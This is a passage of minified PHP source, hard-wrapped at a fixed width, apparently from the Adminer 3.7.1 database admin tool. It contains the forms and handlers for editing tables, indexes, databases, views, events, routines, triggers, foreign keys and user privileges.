ated.';}$E=trim($L["name
"]);queries_redirect(ME.
"table=".urlencode($E),$
C,alter_table($a,$E,($x=
="sqlite"&&($mg||$mc)?$q
a:$n),$mc,$L["Comment"],
($L["Engine"]&&$L["Engin
e"]!=$R["Engine"]?$L["En
gine"]:""),($L["Collatio
n"]&&$L["Collation"]!=$R
["Collation"]?$L["Collat
ion"]:""),($L["Auto_incr
ement"]!=""?+$L["Auto_in
crement"]:""),$ke));}}pa
ge_header(($a!=""?'Alter
 table':'Create table'),
$l,array("table"=>$a),$a
);if(!$_POST){$L=array("
Engine"=>$_COOKIE["admin
er_engine"],"fields"=>ar
ray(array("field"=>"","t
ype"=>(isset($cg["int"])
?"int":(isset($cg["integ
er"])?"integer":"")))),"
partition_names"=>array(
""),);if($a!=""){$L=$R;$
L["name"]=$a;$L["fields"
]=array();if(!$_GET["aut
o_increment"])$L["Auto_i
ncrement"]="";foreach($b
e as$m){$m["has_default"
]=isset($m["default"]);$
L["fields"][]=$m;}if(sup
port("partitioning")){$s
c="FROM information_sche
ma.PARTITIONS WHERE TABL
E_SCHEMA = ".q(DB)." AND
 TABLE_NAME = ".q($a);$J
=$g->query("SELECT PARTI
TION_METHOD, PARTITION_O
RDINAL_POSITION, PARTITI
ON_EXPRESSION $sc ORDER 
BY PARTITION_ORDINAL_POS
ITION DESC LIMIT 1");lis
t($L["partition_by"],$L[
"partitions"],$L["partit
ion"])=$J->fetch_row();$
le=get_key_vals("SELECT 
PARTITION_NAME, PARTITIO
N_DESCRIPTION $sc AND PA
RTITION_NAME != '' ORDER
 BY PARTITION_ORDINAL_PO
SITION");$le[""]="";$L["
partition_names"]=array_
keys($le);$L["partition_
values"]=array_values($l
e);}}}$d=collations();$O
b=engines();foreach($Ob 
as$Nb){if(!strcasecmp($N
b,$L["Engine"])){$L["Eng
ine"]=$Nb;break;}}echo' 
<form action="" method="
post" id="form"> <p> Tab
le name: <input name="na
me" maxlength="64" value
="',h($L["name"]),'" aut
ocapitalize="off"> ';if(
$a==""&&!$_POST){?><scri
pt type='text/javascript
'>focus(document.getElem
entById('form')['name'])
;</script><?php }echo($O
b?html_select("Engine",a
rray(""=>"(".'engine'.")
")+$Ob,$L["Engine"]):"")
,' ',($d&&!ereg("sqlite|
mssql",$x)?html_select("
Collation",array(""=>"("
.'collation'.")")+$d,$L[
"Collation"]):""),' <inp
ut type="submit" value="
Save"> <table cellspacin
g="0" id="edit-fields" c
lass="nowrap"> ';$Wa=($_
POST?$_POST["comments"]:
$L["Comment"]!="");if(!$
_POST&&!$Wa){foreach($L[
"fields"]as$m){if($m["co
mment"]!=""){$Wa=true;br
eak;}}}edit_fields($L["f
ields"],$d,"TABLE",$p,$W
a);echo'</table> <p> Aut
o Increment: <input type
="number" name="Auto_inc
rement" size="6" value="
',h($L["Auto_increment"]
),'"> ',checkbox("defaul
ts",1,true,'Default valu
es',"columnShow(this.che
cked, 5)","jsonly");if(!
$_POST["defaults"]){echo
'<script type="text/java
script">editingHideDefau
lts()</script>';}echo(su
pport("comment")?"<label
><input type='checkbox' 
name='comments' value='1
' class='jsonly' onclick
=\"columnShow(this.check
ed, 6); toggle('Comment'
); if (this.checked) thi
s.form['Comment'].focus(
);\"".($Wa?" checked":""
).">".'Comment'."</label
>".' <input name="Commen
t" id="Comment" value="'
.h($L["Comment"]).'" max
length="'.($g->server_in
fo>=5.5?2048:60).'"'.($W
a?'':' class="hidden"').
'>':''),'<p> <input type
="submit" value="Save"> 
';if($_GET["create"]!=""
){echo'<input type="subm
it" name="drop" value="D
rop"',confirm(),'>';}if(
support("partitioning"))
{$je=ereg('RANGE|LIST',$
L["partition_by"]);print
_fieldset("partition",'P
artition by',$L["partiti
on_by"]);echo'<p> ',html
_select("partition_by",a
rray(-1=>"")+$ie,$L["par
tition_by"],"partitionBy
Change(this);"),'(<input
 name="partition" value=
"',h($L["partition"]),'"
>) Partitions: <input ty
pe="number" name="partit
ions" class="size" value
="',h($L["partitions"]),
'"',($je||!$L["partition
_by"]?" class='hidden'":
""),'> <table cellspacin
g="0" id="partition-tabl
e"',($je?"":" class='hid
den'"),'> <thead><tr><th
>Partition name<th>Value
s</thead> ';foreach($L["
partition_names"]as$y=>$
X){echo'<tr>','<td><inpu
t name="partition_names[
]" value="'.h($X).'"'.($
y==count($L["partition_n
ames"])-1?' onchange="pa
rtitionNameChange(this);
"':'').' autocapitalize=
"off">','<td><input name
="partition_values[]" va
lue="'.h($L["partition_v
alues"][$y]).'">';}echo'
</table> </div></fieldse
t> ';}echo'<input type="
hidden" name="token" val
ue="',$T,'"> </form> ';}
elseif(isset($_GET["inde
xes"])){$a=$_GET["indexe
s"];$Jc=array("PRIMARY",
"UNIQUE","INDEX");$R=tab
le_status($a,true);if(er
egi("MyISAM|M?aria".($g-
>server_info>=5.6?"|Inno
DB":""),$R["Engine"]))$J
c[]="FULLTEXT";$v=indexe
s($a);if($x=="sqlite"){u
nset($Jc[0]);unset($v[""
]);}$L=$_POST;if($_POST&
&!$l&&!$_POST["add"]){$r
a=array();foreach($L["in
dexes"]as$u){$E=$u["name
"];if(in_array($u["type"
],$Jc)){$f=array();$gd=a
rray();$sb=array();$P=ar
ray();ksort($u["columns"
]);foreach($u["columns"]
as$y=>$e){if($e!=""){$fd
=$u["lengths"][$y];$rb=$
u["descs"][$y];$P[]=idf_
escape($e).($fd?"(".(+$f
d).")":"").($rb?" DESC":
"");$f[]=$e;$gd[]=($fd?$
fd:null);$sb[]=$rb;}}if(
$f){$Yb=$v[$E];if($Yb){k
sort($Yb["columns"]);kso
rt($Yb["lengths"]);ksort
($Yb["descs"]);if($u["ty
pe"]==$Yb["type"]&&array
_values($Yb["columns"])=
==$f&&(!$Yb["lengths"]||
array_values($Yb["length
s"])===$gd)&&array_value
s($Yb["descs"])===$sb){u
nset($v[$E]);continue;}}
$ra[]=array($u["type"],$
E,"(".implode(", ",$P)."
)");}}}foreach($v as$E=>
$Yb)$ra[]=array($Yb["typ
e"],$E,"DROP");if(!$ra)r
edirect(ME."table=".urle
ncode($a));queries_redir
ect(ME."table=".urlencod
e($a),'Indexes have been
 altered.',alter_indexes
($a,$ra));}page_header('
Indexes',$l,array("table
"=>$a),$a);$n=array_keys
(fields($a));if($_POST["
add"]){foreach($L["index
es"]as$y=>$u){if($u["col
umns"][count($u["columns
"])]!="")$L["indexes"][$
y]["columns"][]="";}$u=e
nd($L["indexes"]);if($u[
"type"]||array_filter($u
["columns"],'strlen')||a
rray_filter($u["lengths"
],'strlen')||array_filte
r($u["descs"]))$L["index
es"][]=array("columns"=>
array(1=>""));}if(!$L){f
oreach($v as$y=>$u){$v[$
y]["name"]=$y;$v[$y]["co
lumns"][]="";}$v[]=array
("columns"=>array(1=>"")
);$L["indexes"]=$v;}echo
' <form action="" method
="post"> <table cellspac
ing="0" class="nowrap"> 
<thead><tr><th>Index Typ
e<th>Column (length)<th>
Name</thead> ';$w=1;fore
ach($L["indexes"]as$u){e
cho"<tr><td>".html_selec
t("indexes[$w][type]",ar
ray(-1=>"")+$Jc,$u["type
"],($w==count($L["indexe
s"])?"indexesAddRow(this
);":1))."<td>";ksort($u[
"columns"]);$s=1;foreach
($u["columns"]as$y=>$e){
echo"<span>".html_select
("indexes[$w][columns][$
s]",array(-1=>"")+$n,$e,
($s==count($u["columns"]
)?"indexesAddColumn":"in
dexesChangeColumn")."(th
is, '".js_escape($x=="sq
l"?"":$_GET["indexes"]."
_")."');"),($x=="sql"||$
x=="mssql"?"<input type=
'number' name='indexes[$
w][lengths][$s]' class='
size' value='".h($u["len
gths"][$y])."'>":""),($x
!="sql"?checkbox("indexe
s[$w][descs][$s]",1,$u["
descs"][$y],'descending'
):"")," </span>";$s++;}e
cho"<td><input name='ind
exes[$w][name]' value='"
.h($u["name"])."' autoca
pitalize='off'>\n";$w++;
}echo'</table> <p> <inpu
t type="submit" value="S
ave"> <noscript><p><inpu
t type="submit" name="ad
d" value="Add next"></no
script> <input type="hid
den" name="token" value=
"',$T,'"> </form> ';}els
eif(isset($_GET["databas
e"])){$L=$_POST;if($_POS
T&&!$l&&!isset($_POST["a
dd_x"])){restart_session
();$E=trim($L["name"]);i
f($_POST["drop"]){$_GET[
"db"]="";queries_redirec
t(remove_from_uri("db|da
tabase"),'Database has b
een dropped.',drop_datab
ases(array(DB)));}elseif
(DB!==$E){if(DB!=""){$_G
ET["db"]=$E;queries_redi
rect(preg_replace('~db=[
^&]*&~','',ME)."db=".url
encode($E),'Database has
 been renamed.',rename_d
atabase($E,$L["collation
"]));}else{$j=explode("\
n",str_replace("\r","",$
E));$tf=true;$Zc="";fore
ach($j as$k){if(count($j
)==1||$k!=""){if(!create
_database($k,$L["collati
on"]))$tf=false;$Zc=$k;}
}queries_redirect(ME."db
=".urlencode($Zc),'Datab
ase has been created.',$
tf);}}else{if(!$L["colla
tion"])redirect(substr(M
E,0,-1));query_redirect(
"ALTER DATABASE ".idf_es
cape($E).(eregi('^[a-z0-
9_]+$',$L["collation"])?
" COLLATE $L[collation]"
:""),substr(ME,0,-1),'Da
tabase has been altered.
');}}page_header(DB!=""?
'Alter database':'Create
 database',$l,array(),DB
);$d=collations();$E=DB;
if($_POST)$E=$L["name"];
elseif(DB!="")$L["collat
ion"]=db_collation(DB,$d
);elseif($x=="sql"){fore
ach(get_vals("SHOW GRANT
S")as$r){if(preg_match('
~ ON (`(([^\\\\`]|``|\\\
\.)*)%`\\.\\*)?~',$r,$B)
&&$B[1]){$E=stripcslashe
s(idf_unescape("`$B[2]`"
));break;}}}echo' <form 
action="" method="post">
 <p> ',($_POST["add_x"]|
|strpos($E,"\n")?'<texta
rea id="name" name="name
" rows="10" cols="40">'.
h($E).'</textarea><br>':
'<input name="name" id="
name" value="'.h($E).'" 
maxlength="64" autocapit
alize="off">')."\n".($d?
html_select("collation",
array(""=>"(".'collation
'.")")+$d,$L["collation"
]):"");?> <script type='
text/javascript'>focus(d
ocument.getElementById('
name'));</script> <input
 type="submit" value="Sa
ve"> <?php if(DB!="")ech
o"<input type='submit' n
ame='drop' value='".'Dro
p'."'".confirm().">\n";e
lseif(!$_POST["add_x"]&&
$_GET["db"]=="")echo"<in
put type='image' name='a
dd' src='".h(preg_replac
e("~\\?.*~","",ME))."?fi
le=plus.gif&amp;version=
3.7.1' alt='+' title='".
'Add next'."'>\n";echo'<
input type="hidden" name
="token" value="',$T,'">
 </form> ';}elseif(isset
($_GET["call"])){$da=$_G
ET["call"];page_header('
Call'.": ".h($da),$l);$V
e=routine($da,(isset($_G
ET["callf"])?"FUNCTION":
"PROCEDURE"));$Ic=array(
);$ce=array();foreach($V
e["fields"]as$s=>$m){if(
substr($m["inout"],-3)==
"OUT")$ce[$s]="@".idf_es
cape($m["field"])." AS "
.idf_escape($m["field"])
;if(!$m["inout"]||substr
($m["inout"],0,2)=="IN")
$Ic[]=$s;}if(!$l&&$_POST
){$Ga=array();foreach($V
e["fields"]as$y=>$m){if(
in_array($y,$Ic)){$X=pro
cess_input($m);if($X===f
alse)$X="''";if(isset($c
e[$y]))$g->query("SET @"
.idf_escape($m["field"])
." = $X");}$Ga[]=(isset(
$ce[$y])?"@".idf_escape(
$m["field"]):$X);}$I=(is
set($_GET["callf"])?"SEL
ECT":"CALL")." ".idf_esc
ape($da)."(".implode(", 
",$Ga).")";echo"<p><code
 class='jush-$x'>".h($I)
."</code> <a href='".h(M
E)."sql=".urlencode($I).
"'>".'Edit'."</a>\n";if(
!$g->multi_query($I))ech
o"<p class='error'>".err
or()."\n";else{$h=connec
t();if(is_object($h))$h-
>select_db(DB);do{$J=$g-
>store_result();if(is_ob
ject($J))select($J,$h);e
lse echo"<p class='messa
ge'>".lang(array('Routin
e has been called, %d ro
w affected.','Routine ha
s been called, %d rows a
ffected.'),$g->affected_
rows)."\n";}while($g->ne
xt_result());if($ce)sele
ct($g->query("SELECT ".i
mplode(", ",$ce)));}}ech
o' <form action="" metho
d="post"> ';if($Ic){echo
"<table cellspacing='0'>
\n";foreach($Ic as$y){$m
=$Ve["fields"][$y];$E=$m
["field"];echo"<tr><th>"
.$b->fieldName($m);$Y=$_
POST["fields"][$E];if($Y
!=""){if($m["type"]=="en
um")$Y=+$Y;if($m["type"]
=="set")$Y=array_sum($Y)
;}input($m,$Y,(string)$_
POST["function"][$E]);ec
ho"\n";}echo"</table>\n"
;}echo'<p> <input type="
submit" value="Call"> <i
nput type="hidden" name=
"token" value="',$T,'"> 
</form> ';}elseif(isset(
$_GET["foreign"])){$a=$_
GET["foreign"];$E=$_GET[
"name"];$L=$_POST;if($_P
OST&&!$l&&!$_POST["add"]
&&!$_POST["change"]&&!$_
POST["change-js"]){if($_
POST["drop"])query_redir
ect("ALTER TABLE ".table
($a)."\nDROP ".($x=="sql
"?"FOREIGN KEY ":"CONSTR
AINT ").idf_escape($E),M
E."table=".urlencode($a)
,'Foreign key has been d
ropped.');else{$jf=array
_filter($L["source"],'st
rlen');ksort($jf);$Ef=ar
ray();foreach($jf as$y=>
$X)$Ef[$y]=$L["target"][
$y];query_redirect("ALTE
R TABLE ".table($a).($E!
=""?"\nDROP ".($x=="sql"
?"FOREIGN KEY ":"CONSTRA
INT ").idf_escape($E).",
":"")."\nADD FOREIGN KEY
 (".implode(", ",array_m
ap('idf_escape',$jf)).")
 REFERENCES ".table($L["
table"])." (".implode(",
 ",array_map('idf_escape
',$Ef)).")".(ereg("^($Od
)\$",$L["on_delete"])?" 
ON DELETE $L[on_delete]"
:"").(ereg("^($Od)\$",$L
["on_update"])?" ON UPDA
TE $L[on_update]":""),ME
."table=".urlencode($a),
($E!=""?'Foreign key has
 been altered.':'Foreign
 key has been created.')
);$l='Source and target 
columns must have the sa
me data type, there must
 be an index on the targ
et columns and reference
d data must exist.'."<br
>$l";}}page_header('Fore
ign key',$l,array("table
"=>$a),$a);if($_POST){ks
ort($L["source"]);if($_P
OST["add"])$L["source"][
]="";elseif($_POST["chan
ge"]||$_POST["change-js"
])$L["target"]=array();}
elseif($E!=""){$p=foreig
n_keys($a);$L=$p[$E];$L[
"source"][]="";}else{$L[
"table"]=$a;$L["source"]
=array("");}$jf=array_ke
ys(fields($a));$Ef=($a==
=$L["table"]?$jf:array_k
eys(fields($L["table"]))
);$Ie=array_keys(array_f
ilter(table_status('',tr
ue),'fk_support'));echo'
 <form action="" method=
"post"> <p> ';if($L["db"
]==""&&$L["ns"]==""){ech
o'Target table: ',html_s
elect("table",$Ie,$L["ta
ble"],"this.form['change
-js'].value = '1'; this.
form.submit();"),'<input
 type="hidden" name="cha
nge-js" value=""> <noscr
ipt><p><input type="subm
it" name="change" value=
"Change"></noscript> <ta
ble cellspacing="0"> <th
ead><tr><th>Source<th>Ta
rget</thead> ';$w=0;fore
ach($L["source"]as$y=>$X
){echo"<tr>","<td>".html
_select("source[".(+$y).
"]",array(-1=>"")+$jf,$X
,($w==count($L["source"]
)-1?"foreignAddRow(this)
;":1)),"<td>".html_selec
t("target[".(+$y)."]",$E
f,$L["target"][$y]);$w++
;}echo'</table> <p> ON D
ELETE: ',html_select("on
_delete",array(-1=>"")+e
xplode("|",$Od),$L["on_d
elete"]),' ON UPDATE: ',
html_select("on_update",
array(-1=>"")+explode("|
",$Od),$L["on_update"]),
'<p> <input type="submit
" value="Save"> <noscrip
t><p><input type="submit
" name="add" value="Add 
column"></noscript> ';}i
f($E!=""){echo'<input ty
pe="submit" name="drop" 
value="Drop"',confirm(),
'>';}echo'<input type="h
idden" name="token" valu
e="',$T,'"> </form> ';}e
lseif(isset($_GET["view"
])){$a=$_GET["view"];$L=
$_POST;if($_POST&&!$l){$
E=trim($L["name"]);$sa="
 AS\n$L[select]";$A=ME."
table=".urlencode($E);$C
='View has been altered.
';if(!$_POST["drop"]&&$a
==$E&&$x!="sqlite")query
_redirect(($x=="mssql"?"
ALTER":"CREATE OR REPLAC
E")." VIEW ".table($E).$
sa,$A,$C);else{$Gf=$E."_
adminer_".uniqid();drop_
create("DROP VIEW ".tabl
e($a),"CREATE VIEW ".tab
le($E).$sa,"DROP VIEW ".
table($E),"CREATE VIEW "
.table($Gf).$sa,"DROP VI
EW ".table($Gf),($_POST[
"drop"]?substr(ME,0,-1):
$A),'View has been dropp
ed.',$C,'View has been c
reated.',$a,$E);}}if(!$_
POST&&$a!=""){$L=view($a
);$L["name"]=$a;if(!$l)$
l=$g->error;}page_header
(($a!=""?'Alter view':'C
reate view'),$l,array("t
able"=>$a),$a);echo' <fo
rm action="" method="pos
t"> <p>Name: <input name
="name" value="',h($L["n
ame"]),'" maxlength="64"
 autocapitalize="off"> <
p>';textarea("select",$L
["select"]);echo'<p> <in
put type="submit" value=
"Save"> ';if($_GET["view
"]!=""){echo'<input type
="submit" name="drop" va
lue="Drop"',confirm(),'>
';}echo'<input type="hid
den" name="token" value=
"',$T,'"> </form> ';}els
eif(isset($_GET["event"]
)){$aa=$_GET["event"];$O
c=array("YEAR","QUARTER"
,"MONTH","DAY","HOUR","M
INUTE","WEEK","SECOND","
YEAR_MONTH","DAY_HOUR","
DAY_MINUTE","DAY_SECOND"
,"HOUR_MINUTE","HOUR_SEC
OND","MINUTE_SECOND");$o
f=array("ENABLED"=>"ENAB
LE","DISABLED"=>"DISABLE
","SLAVESIDE_DISABLED"=>
"DISABLE ON SLAVE");$L=$
_POST;if($_POST&&!$l){if
($_POST["drop"])query_re
direct("DROP EVENT ".idf
_escape($aa),substr(ME,0
,-1),'Event has been dro
pped.');elseif(in_array(
$L["INTERVAL_FIELD"],$Oc
)&&isset($of[$L["STATUS"
]])){$Ze="\nON SCHEDULE 
".($L["INTERVAL_VALUE"]?
"EVERY ".q($L["INTERVAL_
VALUE"])." $L[INTERVAL_F
IELD]".($L["STARTS"]?" S
TARTS ".q($L["STARTS"]):
"").($L["ENDS"]?" ENDS "
.q($L["ENDS"]):""):"AT "
.q($L["STARTS"]))." ON C
OMPLETION".($L["ON_COMPL
ETION"]?"":" NOT")." PRE
SERVE";queries_redirect(
substr(ME,0,-1),($aa!=""
?'Event has been altered
.':'Event has been creat
ed.'),queries(($aa!=""?"
ALTER EVENT ".idf_escape
($aa).$Ze.($aa!=$L["EVEN
T_NAME"]?"\nRENAME TO ".
idf_escape($L["EVENT_NAM
E"]):""):"CREATE EVENT "
.idf_escape($L["EVENT_NA
ME"]).$Ze)."\n".$of[$L["
STATUS"]]." COMMENT ".q(
$L["EVENT_COMMENT"]).rtr
im(" DO\n$L[EVENT_DEFINI
TION]",";").";"));}}page
_header(($aa!=""?'Alter 
event'.": ".h($aa):'Crea
te event'),$l);if(!$L&&$
aa!=""){$M=get_rows("SEL
ECT * FROM information_s
chema.EVENTS WHERE EVENT
_SCHEMA = ".q(DB)." AND 
EVENT_NAME = ".q($aa));$
L=reset($M);}echo' <form
 action="" method="post"
> <table cellspacing="0"
> <tr><th>Name<td><input
 name="EVENT_NAME" value
="',h($L["EVENT_NAME"]),
'" maxlength="64" autoca
pitalize="off"> <tr><th 
title="datetime">Start<t
d><input name="STARTS" v
alue="',h("$L[EXECUTE_AT
]$L[STARTS]"),'"> <tr><t
h title="datetime">End<t
d><input name="ENDS" val
ue="',h($L["ENDS"]),'"> 
<tr><th>Every<td><input 
type="number" name="INTE
RVAL_VALUE" value="',h($
L["INTERVAL_VALUE"]),'" 
class="size"> ',html_sel
ect("INTERVAL_FIELD",$Oc
,$L["INTERVAL_FIELD"]),'
<tr><th>Status<td>',html
_select("STATUS",$of,$L[
"STATUS"]),'<tr><th>Comm
ent<td><input name="EVEN
T_COMMENT" value="',h($L
["EVENT_COMMENT"]),'" ma
xlength="64"> <tr><th>&n
bsp;<td>',checkbox("ON_C
OMPLETION","PRESERVE",$L
["ON_COMPLETION"]=="PRES
ERVE",'On completion pre
serve'),'</table> <p>';t
extarea("EVENT_DEFINITIO
N",$L["EVENT_DEFINITION"
]);echo'<p> <input type=
"submit" value="Save"> '
;if($aa!=""){echo'<input
 type="submit" name="dro
p" value="Drop"',confirm
(),'>';}echo'<input type
="hidden" name="token" v
alue="',$T,'"> </form> '
;}elseif(isset($_GET["pr
ocedure"])){$da=$_GET["p
rocedure"];$Ve=(isset($_
GET["function"])?"FUNCTI
ON":"PROCEDURE");$L=$_PO
ST;$L["fields"]=(array)$
L["fields"];if($_POST&&!
process_fields($L["field
s"])&&!$l){$Gf="$L[name]
_adminer_".uniqid();drop
_create("DROP $Ve ".idf_
escape($da),create_routi
ne($Ve,$L),"DROP $Ve ".i
df_escape($L["name"]),cr
eate_routine($Ve,array("
name"=>$Gf)+$L),"DROP $V
e ".idf_escape($Gf),subs
tr(ME,0,-1),'Routine has
 been dropped.','Routine
 has been altered.','Rou
tine has been created.',
$da,$L["name"]);}page_he
ader(($da!=""?(isset($_G
ET["function"])?'Alter f
unction':'Alter procedur
e').": ".h($da):(isset($
_GET["function"])?'Creat
e function':'Create proc
edure')),$l);if(!$_POST&
&$da!=""){$L=routine($da
,$Ve);$L["name"]=$da;}$d
=get_vals("SHOW CHARACTE
R SET");sort($d);$We=rou
tine_languages();echo' <
form action="" method="p
ost" id="form"> <p>Name:
 <input name="name" valu
e="',h($L["name"]),'" ma
xlength="64" autocapital
ize="off"> ',($We?'Langu
age'.": ".html_select("l
anguage",$We,$L["languag
e"]):""),'<table cellspa
cing="0" class="nowrap">
 ';edit_fields($L["field
s"],$d,$Ve);if(isset($_G
ET["function"])){echo"<t
r><td>".'Return type';ed
it_type("returns",$L["re
turns"],$d);}echo'</tabl
e> <p>';textarea("defini
tion",$L["definition"]);
echo'<p> <input type="su
bmit" value="Save"> ';if
($da!=""){echo'<input ty
pe="submit" name="drop" 
value="Drop"',confirm(),
'>';}echo'<input type="h
idden" name="token" valu
e="',$T,'"> </form> ';}e
lseif(isset($_GET["trigg
er"])){$a=$_GET["trigger
"];$E=$_GET["name"];$Yf=
trigger_options();$Xf=ar
ray("INSERT","UPDATE","D
ELETE");$L=(array)trigge
r($E)+array("Trigger"=>$
a."_bi");if($_POST){if(!
$l&&in_array($_POST["Tim
ing"],$Yf["Timing"])&&in
_array($_POST["Event"],$
Xf)&&in_array($_POST["Ty
pe"],$Yf["Type"])){$Nd="
 ON ".table($a);$_b="DRO
P TRIGGER ".idf_escape($
E).($x=="pgsql"?$Nd:"");
$A=ME."table=".urlencode
($a);if($_POST["drop"])q
uery_redirect($_b,$A,'Tr
igger has been dropped.'
);else{if($E!="")queries
($_b);queries_redirect($
A,($E!=""?'Trigger has b
een altered.':'Trigger h
as been created.'),queri
es(create_trigger($Nd,$_
POST)));if($E!="")querie
s(create_trigger($Nd,$L+
array("Type"=>reset($Yf[
"Type"]))));}}$L=$_POST;
}page_header(($E!=""?'Al
ter trigger'.": ".h($E):
'Create trigger'),$l,arr
ay("table"=>$a));echo' <
form action="" method="p
ost" id="form"> <table c
ellspacing="0"> <tr><th>
Time<td>',html_select("T
iming",$Yf["Timing"],$L[
"Timing"],"if (/^".preg_
quote($a,"/")."_[ba][iud
]$/.test(this.form['Trig
ger'].value)) this.form[
'Trigger'].value = '".js
_escape($a)."_' + select
Value(this).charAt(0).to
LowerCase() + selectValu
e(this.form['Event']).ch
arAt(0).toLowerCase();")
,'<tr><th>Event<td>',htm
l_select("Event",$Xf,$L[
"Event"],"this.form['Tim
ing'].onchange();"),'<tr
><th>Type<td>',html_sele
ct("Type",$Yf["Type"],$L
["Type"]),'</table> <p>N
ame: <input name="Trigge
r" value="',h($L["Trigge
r"]),'" maxlength="64" a
utocapitalize="off"> <p>
';textarea("Statement",$
L["Statement"]);echo'<p>
 <input type="submit" va
lue="Save"> ';if($E!="")
{echo'<input type="submi
t" name="drop" value="Dr
op"',confirm(),'>';}echo
'<input type="hidden" na
me="token" value="',$T,'
"> </form> ';}elseif(iss
et($_GET["user"])){$fa=$
_GET["user"];$_e=array("
"=>array("All privileges
"=>""));foreach(get_rows
("SHOW PRIVILEGES")as$L)
{foreach(explode(",",($L
["Privilege"]=="Grant op
tion"?"":$L["Context"]))
as$bb)$_e[$bb][$L["Privi
lege"]]=$L["Comment"];}$
_e["Server Admin"]+=$_e[
"File access on server"]
;$_e["Databases"]["Creat
e routine"]=$_e["Procedu
res"]["Create routine"];
unset($_e["Procedures"][
"Create routine"]);$_e["
Columns"]=array();foreac
h(array("Select","Insert
","Update","References")
as$X)$_e["Columns"][$X]=
$_e["Tables"][$X];unset(
$_e["Server Admin"]["Usa
ge"]);foreach($_e["Table
s"]as$y=>$X)unset($_e["D
atabases"][$y]);$Bd=arra
y();if($_POST){foreach($
_POST["objects"]as$y=>$X
)$Bd[$X]=(array)$Bd[$X]+
(array)$_POST["grants"][
$y];}$wc=array();$Ld="";
if(isset($_GET["host"])&
&($J=$g->query("SHOW GRA
NTS FOR ".q($fa)."@".q($
_GET["host"])))){while($
L=$J->fetch_row()){if(pr
eg_match('~GRANT (.*) ON
 (.*) TO ~',$L[0],$B)&&p
reg_match_all('~ *([^(,]
*[^ ,(])( *\\([^)]+\\))?
~',$B[1],$ld,PREG_SET_OR
DER)){foreach($ld as$X){
if($X[1]!="USAGE")$wc["$
B[2]$X[2]"][$X[1]]=true;
if(ereg(' WITH GRANT OPT
ION',$L[0]))$wc["$B[2]$X
[2]"]["GRANT OPTION"]=tr
ue;}}if(preg_match("~ ID
ENTIFIED BY PASSWORD '([
^']+)~",$L[0],$B))$Ld=$B
[1];}}if($_POST&&!$l){$M
d=(isset($_GET["host"])?
q($fa)."@".q($_GET["host
"]):"''");if($_POST["dro
p"])query_redirect("DROP
 USER $Md",ME."privilege
s=",'User has been dropp
ed.');else{$Dd=q($_POST[
"user"])."@".q($_POST["h
ost"]);$me=$_POST["pass"
];if($me!=''&&!$_POST["h
ashed"]){$me=$g->result(
"SELECT PASSWORD(".q($me
).")");$l=!$me;}$fb=fals
e;if(!$l){if($Md!=$Dd){$
fb=queries(($g->server_i
nfo<5?"GRANT USAGE ON *.
* TO":"CREATE USER")." $
Dd IDENTIFIED BY PASSWOR
D ".q($me));$l=!$fb;}els
eif($me!=$Ld)queries("SE
T PASSWORD FOR $Dd = ".q
($me));}if(!$l){$Se=arra
y();foreach($Bd as$Gd=>$
r){if(isset($_GET["grant
"]))$r=array_filter($r);
$r=array_keys($r);if(iss
et($_GET["grant"]))$Se=a
rray_diff(array_keys(arr
ay_filter($Bd[$Gd],'strl
en')),$r);elseif($Md==$D
d){$Jd=array_keys((array
)$wc[$Gd]);$Se=array_dif
f($Jd,$r);$r=array_diff(
$r,$Jd);unset($wc[$Gd]);
}if(preg_match('~^(.+)\\
s*(\\(.*\\))?$~U',$Gd,$B
)&&(!grant("REVOKE",$Se,
$B[2]," ON $B[1] FROM $D
d")||!grant("GRANT",$r,$
B[2]," ON $B[1] TO $Dd")
)){$l=true;break;}}}if(!
$l&&isset($_GET["host"])
){if($Md!=$Dd)queries("D
ROP USER $Md");elseif(!i
sset($_GET["grant"])){fo
reach($wc as$Gd=>$Se){if
(preg_match('~^(.+)(\\(.
*\\))?$~U',$Gd,$B))grant
("REVOKE",array_keys($Se
),$B[2]," ON $B[1] FROM 
$Dd");}}}queries_redirec
t(ME."privileges=",(isse
t($_GET["host"])?'User h
as been altered.':'User 
has been created.'),!$l)
;if($fb)$g->query("DROP 
USER $Dd");}}page_header
((isset($_GET["host"])?'
Username'.": ".h("$fa@$_
GET[host]"):'Create user
'),$l,array("privileges"
=>array('','Privileges')
));if($_POST){$L=$_POST;
$wc=$Bd;}else{$L=$_GET+a
rray("host"=>$g->result(
"SELECT SUBSTRING_INDEX(
CURRENT_USER, '@', -1)")
);$L["pass"]=$Ld;if($Ld!
="")$L["hashed"]=true;$w
c[(DB==""||$wc?"":idf_es
cape(addcslashes(DB,"%_\
\"))).".*"]=array();}ech
o'<form action="" method
="post"> <table cellspac
ing="0"> <tr><th>Server<
td><input name="host" ma
xlength="60" value="',h(
$L["host"]),'" autocapit
alize="off"> <tr><th>Use
rname<td><input name="us
er" maxlength="16" value
="',h($L["user"]),'" aut
ocapitalize="off"> <tr><
th>Password<td><input na
me="pass" id="pass" valu
e="',h($L["pass"]),'"> '
;if(!$L["hashed"]){echo'
<script type="text/javas
cript">typePassword(docu
ment.getElementById(\'pa
ss\'));</script>';}echo 
checkbox("hashed",1,$L["
hashed"],'Hashed',"typeP
assword(this.form['pass'
], this.checked);"),'</t
able>  ';echo"<table cel
lspacing='0'>\n","<thead
><tr><th colspan='2'><a 
href='http://dev.mysql.c
om/doc/refman/".substr($
g->server_info,0,3)."/en
/grant.html#priv_level' 
target='_blank' rel='nor
eferrer' class='help'>".
'Privileges'."</a>";$s=0
;foreach($wc as$Gd=>$r){
echo'<th>'.($Gd!="*.*"?"
<input name='objects[$s]
' value='".h($Gd)."' siz
e='10' autocapitalize='o
ff'>":"<input type='hidd
en' name='objects[$s]' v
alue='*.*' size='10'>*.*
");$s++;}echo"</thead>\n
";foreach(array(""=>"","
Server Admin"=>'Server',
"Databases"=>'Database',
"Tables"=>'Table',"Colum
ns"=>'Column',"Procedure
s"=>'Routine',)as$bb=>$r
b){foreach((array)$_e[$b
b]as$ze=>$Va){echo"<tr".
odd()."><td".($rb?">$rb<
td":" colspan='2'").' la
ng="en" title="'.h($Va).
'">'.h($ze);$s=0;foreach
($wc as$Gd=>$r){$E="'gra
nts[$s][".h(strtoupper($
ze))."]'";$Y=$r[strtoupp
er($ze)];if($bb=="Server
 Admin"&&$Gd!=(isset($wc
["*.*"])?"*.*":".*"))ech
o"<td>&nbsp;";elseif(iss
et($_GET["grant"]))echo"
<td><select name=$E><opt
ion><option value='1'".(
$Y?" selected":"").">".'
Grant'."<option value='0
'".($Y=="0"?" selected":
"").">".'Revoke'."</sele
ct>";else echo"<td align
='center'><label class='
block'><input type='chec
kbox' name=$E value='1'"
.($Y?" checked":"").($ze
